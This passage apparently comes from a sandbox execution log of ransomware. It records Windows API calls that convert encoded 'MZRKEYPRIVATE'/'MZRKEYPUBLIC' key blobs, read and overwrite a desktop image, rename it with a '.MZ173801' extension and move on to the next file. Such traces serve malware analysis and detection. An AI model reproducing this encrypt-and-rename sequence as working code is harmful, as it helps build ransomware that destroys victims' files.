O8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.876] GetCurrentThreadId () returned 0xab4 [0176.876] GetCurrentThreadId () returned 0xab4 [0176.876] GetCurrentThreadId () returned 0xab4 [0176.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.876] GetCurrentThreadId () returned 0xab4 [0176.876] GetCurrentThreadId () returned 0xab4 [0176.876] GetCurrentThreadId () returned 0xab4 [0176.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wsBv9esj.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wsbv9esj.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.877] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.877] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.877] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x98c6 [0176.877] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.877] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x98c6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x98c6, lpOverlapped=0x0) returned 1 [0176.878] CloseHandle (hObject=0x328) returned 1 [0176.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wsBv9esj.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wsbv9esj.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.880] WriteFile (in: hFile=0x328, lpBuffer=0x24aa040*, nNumberOfBytesToWrite=0x98c6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24aa040*, lpNumberOfBytesWritten=0x19fa24*=0x98c6, lpOverlapped=0x0) returned 1 [0176.882] CloseHandle (hObject=0x328) returned 1 [0176.882] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\wsBv9esj.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wsbv9esj.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\wsBv9esj.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\wsbv9esj.jpg.mz173801")) returned 1 [0176.883] GetCurrentThreadId () returned 0xab4 [0176.883] GetCurrentThreadId () returned 0xab4 [0176.883] GetCurrentThreadId () returned 0xab4 [0176.883] GetCurrentThreadId () returned 0xab4 [0176.883] GetCurrentThreadId () returned 0xab4 [0176.883] GetCurrentThreadId () returned 0xab4 [0176.883] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf52270, ftCreationTime.dwHighDateTime=0x1d5ef80, ftLastAccessTime.dwLowDateTime=0xba8fa2d0, ftLastAccessTime.dwHighDateTime=0x1d5e2d3, ftLastWriteTime.dwLowDateTime=0xba8fa2d0, ftLastWriteTime.dwHighDateTime=0x1d5e2d3, nFileSizeHigh=0x0, nFileSizeLow=0x123c2, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="x1eN.bmp", cAlternateFileName="")) returned 1 [0176.883] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.883] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1eN.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\x1en.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf52270, ftCreationTime.dwHighDateTime=0x1d5ef80, ftLastAccessTime.dwLowDateTime=0xba8fa2d0, ftLastAccessTime.dwHighDateTime=0x1d5e2d3, ftLastWriteTime.dwLowDateTime=0xba8fa2d0, ftLastWriteTime.dwHighDateTime=0x1d5e2d3, nFileSizeHigh=0x0, nFileSizeLow=0x123c2)) returned 1 [0176.883] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1eN.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\x1en.bmp")) returned 0x20 [0176.883] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1eN.bmp", dwFileAttributes=0x80) returned 1 [0176.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/Cq